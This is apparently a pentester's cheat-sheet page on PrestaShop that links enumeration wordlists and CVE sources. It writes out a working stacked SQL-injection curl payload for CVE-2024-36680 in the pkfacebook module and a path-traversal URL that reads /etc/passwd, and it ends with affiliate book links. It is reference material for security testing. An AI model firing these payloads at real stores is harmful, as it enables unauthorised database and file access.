# Prestashop

## Enumeration

{% embed url="<https://github.com/trickest/wordlists/blob/main/technologies/prestashop-all-levels.txt>" %}

{% embed url="<https://github.com/trickest/wordlists/blob/main/technologies/prestashop.txt>" %}

## Search for CVE - Friends-of-Presta

{% embed url="<https://security.friendsofpresta.org/>" %}

## **CVE-2024-36680 - SQLi**

```
curl -v "https://preprod.X/modules/pkfacebook/ajax/facebookConnect.php?id=1";select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--&email=test@test.fr
```

{% embed url="<https://security.friendsofpresta.org/modules/2024/06/18/pkfacebook.html>" %}

## Path Traversal

Prestashop < 8.2.0

```
http://localhost/?controller=upload&file=../../../../../etc/passwd
```

{% embed url="<https://www.critical.lt/blog/path-traversal-vulnerability-in-prestashop-8-2-0/>" %}

## XSS

Prestashop 8.0.4 - Cross-Site Scripting (XSS)

{% embed url="<https://www.exploit-db.com/exploits/51563>" %}

## SQLi

PrestaShop’s Customer Photo Gallery, version 2.9.3 and below.

{% embed url="<https://www.getastra.com/blog/911/plugin-exploit/prestashops-customer-photo-gallery-module-vulnerable-to-sql-injection-attacks/?utm_source=chatgpt.com>" %}

## Interesting Books

{% content-ref url="../../interesting-books" %}
[interesting-books](https://0xss0rz.gitbook.io/0xss0rz/interesting-books)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.
